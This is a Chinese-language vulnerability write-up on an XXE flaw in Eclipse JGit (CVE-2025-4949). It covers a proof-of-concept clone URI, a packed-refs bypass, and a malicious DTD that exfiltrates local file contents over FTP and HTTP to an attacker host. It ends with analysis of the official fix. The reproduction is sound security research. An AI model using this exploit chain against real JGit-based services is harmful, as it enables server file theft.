前言
在当今的软件开发生态与 CI/CD 流水线中,开源基础组件扮演着至关重要的角色。它们如同构建高楼大厦的钢筋水泥,被广泛集成在各类上层应用之中。然而,由于基础组件往往处于底层,其隐藏的安全漏洞具备极强的隐蔽性和破坏力。
Eclipse JGit 是 Java 生态中用于操作 Git 仓库的核心开源库。它允许开发者在 Java 代码中无缝实现 clone、commit、push 等 Git 操作。得益于其便捷性,许多知名企业级应用(如 Jenkins、各类 DevOps 平台、低代码平台的代码拉取模块)都在底层直接或间接地集成了 JGit。
2025 年,官方披露了 JGit 存在一个严重的 XML 外部实体注入(XXE)漏洞,编号为 CVE-2025-4949。该漏洞影响 JGit 的 ManifestParser 以及 AmazonS3 transport 模块。
本文将基于 JDK 17 环境,深入 JGit 5.12.0 版本源码,正向追踪从用户输入到触发 XXE 的完整攻击链路。同时,针对高版本 JDK 的底层安全限制,我们将分享如何利用 FTP 协议进行 OOB(带外数据)外带,最终结合 Spring Boot Web 环境实现完美的实战复现。
一.环境搭建与 Payload 构造技巧
为了真实还原漏洞,我们选用 JDK 17 环境,并在 Maven 项目中引入存在漏洞的 JGit 版本:
<dependency>
<groupId>org.eclipse.jgit</groupId>
<artifactId>org.eclipse.jgit</artifactId>
<version>5.12.0.202106070339-r</version>
</dependency>
编写最基础的触发代码,模拟克隆一个恶意的 amazon-s3 协议仓库:
String payloadUri = "amazon-s3://user:[email protected]?/";
File outputDir = new File("C:\\Windows\\Temp\\jgit-poc");
Git.cloneRepository()
.setURI(payloadUri)
.setDirectory(outputDir)
.setCredentialsProvider(new UsernamePasswordCredentialsProvider("user", "pass"))
.call();
💡 审计思考:为什么 Payload 中要使用 ? 进行截断?
在 JGit 的原生逻辑中,若指定 bucket 为 xxx,最终拼接的域名是 http://xxx.s3.amazonaws.com/path。若直接传入攻击者域名,由于强制拼接 .s3.amazonaws.com,请求依然会发往 AWS。
这里利用了 URL 中 ? 标识 Query 参数的特性。传入 ...xxoo.pro?/ 后,JGit 底层的 URL 解析器会将 ?.s3.amazonaws.com 视为查询参数。最终实际请求变为了 http://src123456.xxoo.pro?.s3.amazonaws.com/,巧妙地将请求重定向到了我们控制的恶意 VPS 上。
二.源码级正向追踪:从 URI 到致命 Sink 点
要进行深度的代码审计,必须理清这段恶意 URL 是如何被 JGit 一步步处理的。
1. Transport 初始化与连接建立
当 JGit 识别到 amazon-s3 协议时,会调用 TransportAmazonS3 类的 openFetch 方法。

📌 【图 1:TransportAmazonS3.openFetch 方法】
从截图中可以看到,在 Line 176,代码使用攻击者可控的 bucket 和 keyPrefix 实例化了 DatabaseS3。紧接着在 Line 178,调用了 c.readAdvertisedRefs()。这行代码是关键转折点,它的作用是去远端获取 Git 引用列表,这意味着 JGit 将主动向恶意域名发起 HTTP 请求。
2. Sink 点定位:致命的 XML 解析
顺着 readAdvertisedRefs() 往下跟,当它请求远端对象列表时,最终会进入 AmazonS3 类的 ListParser 内部类。

📌 【图 2:AmazonS3.ListParser.list 源码】
如图,漏洞的致命 Sink 点暴露无遗:
Line 686:代码通过 XMLReaderFactory.createXMLReader() 实例化了 XMLReader。由于未调用任何 setFeature() 禁用外部实体,该解析器处于脆弱状态。
Line 693:c.getInputStream() 获取了恶意服务端返回的 HTTP 响应流。
Line 694:直接调用 xr.parse(new InputSource(in))。不可信的流进入解析器,XXE 漏洞彻底引爆。
三.踩坑与绕过:packed-refs 的严格校验
在初测时,为了不让 JGit 中断流程,我们最初在恶意服务端(S3 Mock)中拦截 packed-refs 请求,试图返回 #test 字符串进行干扰。结果 JGit 直接抛出 error in packed-refs 异常,攻击链断裂。
为了解开这个谜团,我们深入源码一探究竟。

📌 【 图3:WalkRemoteObjectDatabase.readPackedRefsImpl 源码】
跟进 WalkRemoteObjectDatabase#readPackedRefsImpl 方法:
Line 400 开始,代码通过 BufferedReader 逐行读取响应流。
关键校验点 (Line 403-404):如果读取到的行首字符是 #,代码会严格校验它是否等于 # pack-refs with: 这个特定的头部常量。由于 #test 不满足该特征,程序会将其当作合法的 Git 引用对象(寻找空格分隔的 SHA-1 值)进行解析,最终失败报错。
空内容绕过的原理:如果我们让服务端直接返回空字符串 "",br.readLine() 将返回 null,直接触发 break 跳出循环,完美绕过了后续所有的严格解析逻辑。
因此,在服务端逻辑中,只需对 packed-refs 请求返回空,即可让 JGit 顺利走到触发 XXE 的 list 请求。
四.进阶利用:突破 JDK 17 的 OOB 外带限制
成功触发 XXE 只是第一步,真正的实战价值在于读取服务器敏感文件。
最初的尝试非常顺利:我们引入外部 DTD,尝试读取 C:/Windows/win.ini 并通过 HTTP GET 请求外带。但结果却遭遇了 Illegal character in URL 的严重报错。
1. 底层溯源:为什么失败?
这就涉及到了高版本 JDK 的底层安全机制。我们在 JDK 17 的源码中寻找答案。

📌 【图 4:FtpURLConnection.checkURL 源码】
跟进到 sun.net.www.protocol.ftp.FtpURLConnection.checkURL 方法:
代码调用 toExternalForm() 获取完整 URL。
并强制检查是否包含换行符 \n (indexOf('\n') > -1)。
由于 win.ini 是多行文件,包含大量 \r\n。当 %file; 实体将多行文件内容拼接到外带 URL 路径时,触发了 JDK 的安全机制,直接抛出 MalformedURLException 中断请求。
2. 方案破局:单行文件测试与 FTP OOB
既然换行符被拦截,那么我们就用不含换行符的单行文件进行验证。在目标机器新建 C:\test.txt,内容为单行:POC_SUCCESS_BY_HACKER。
同时,为了展示高阶 OOB 技巧,我们搭建了一个简易的 FTP 服务端(监听 2121 端口)。构造恶意 DTD 如下:
<!ENTITY % file SYSTEM "file:///C:/test.txt">
<!ENTITY % eval "<!ENTITY % send SYSTEM 'ftp://src123456.xxoo.pro:2121/%file;'>">
%eval;
%send;

📌 【图 5: HTTP 服务端 + FTP 服务端日志】
观察 FTP 交互日志,不仅收到了 USER anonymous 登录请求,最核心的高光时刻在于后续的 [FTP 交互] RETR POC_SUCCESS_BY_HACKER。
这意味着 JDK 底层的 FtpURLConnection 成功将目标主机读取到的文件内容拼接到路径中,并以 FTP 下载指令(RETR)的形式发送给了恶意服务端。至此,任意文件读取彻底闭环。
五.实战场景复现:Spring Boot 接口联动
为了证明该漏洞在真实业务中的实战价值,我们构建了一个基于 Spring Boot 的模拟业务接口。现实世界中,许多提供“在线代码导入/审计”的 SaaS 平台,都存在类似的传参逻辑。
@RestController
public class GitController {
@GetMapping("/api/import")
public String importRepo(@RequestParam String repoUrl) {
System.out.println("[*] 收到用户提交的仓库地址: " + repoUrl);
File dir = new File("C:\\Windows\\Temp\\web-clone-" + System.currentTimeMillis());
try {
// 模拟平台功能:拉取用户提交的远程仓库进行代码审查
Git.cloneRepository().setURI(repoUrl).setDirectory(dir).call();
return "Clone Success!";
} catch (Exception e) {
// 若系统未捕获异常或将异常信息回显给前端,将导致信息泄露
return "Error: " + e.getMessage();
}
}
}
启动 Web 服务(8080端口)、HTTP 恶意服务(80端口)、FTP 恶意服务(2121端口)。

📌 【图 6:三端联动的全屏】
攻击者在浏览器中访问:
http://127.0.0.1:8080/api/import?repoUrl=amazon-s3://user:[email protected]?/
通过三端联动图,攻击链路清晰可见:
业务层:Spring Boot 接收恶意 repoUrl 并交由底层 JGit 处理。
网络层:HTTP 服务端下发 evil.dtd,FTP 服务端截获文件内容。
数据层:目标服务器本地文件被成功外带。
此外,如果使用 HTTP 协议外带单行文件(如直接读取 /etc/hostname 等无换行文件),也能在 HTTP 服务端直接截获回显数据:

📌 【图 7:HTTP 服务端收到 leak?data=POC_SUCCESS_BY_HACKER】
六.官方修复方案分析
官方在后续版本中修复了该漏洞。核心修复逻辑在于禁用危险的 XML 解析特性。
官方废弃了默认的 XMLReaderFactory.createXMLReader(),改用 SAXParserFactory 并强制设置安全属性:
SAXParserFactory spf = SAXParserFactory.newInstance();
// 禁止 DOCTYPE 声明
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁止外部通用实体
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
// 禁止外部参数实体
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
XMLReader xr = spf.newSAXParser().getXMLReader();
通过上述配置,彻底切断了 XXE 的解析路径,任何包含 <!DOCTYPE 的 XML 都会在解析初期被直接拒绝。
七.总结与思考
通过本次对 CVE-2025-4949 的代码审计与漏洞复现,我们可以得出以下几点启示:
基础组件是安全的基石:JGit 作为底层库,其安全校验的缺失会直接传导给所有集成它的上层应用。开发者在引入第三方组件时,应关注其安全更新。
防御纵深至关重要:JDK 17 对于 URL 字符串的严格校验(如拦截换行符),虽然增加了 XXE 盲注门槛,但攻击者依然能通过协议切换(如 FTP)进行绕过。安全防御不能仅依赖底层环境,必须在代码层做好 XML 解析的安全配置。
代码审计需死磕细节:从 packed-refs 的格式校验异常,到抓取底层 checkURL 的源码,文章的每一次“踩坑”与“绕过”,都是对代码逻辑的深度拷问。
在开发实践中,凡涉及 XML 解析,必须默认开启安全配置;同时,对用户可控的 URL 输入(如仓库导入、图片拉取等功能),必须进行严格的协议白名单校验,防止 SSRF 与 XXE 的联袂上演。
八.参考链接
Eclipse JGit 官方仓库
CVE-2025-4949 NVD 详情
JDK 17 FtpURLConnection 源码实现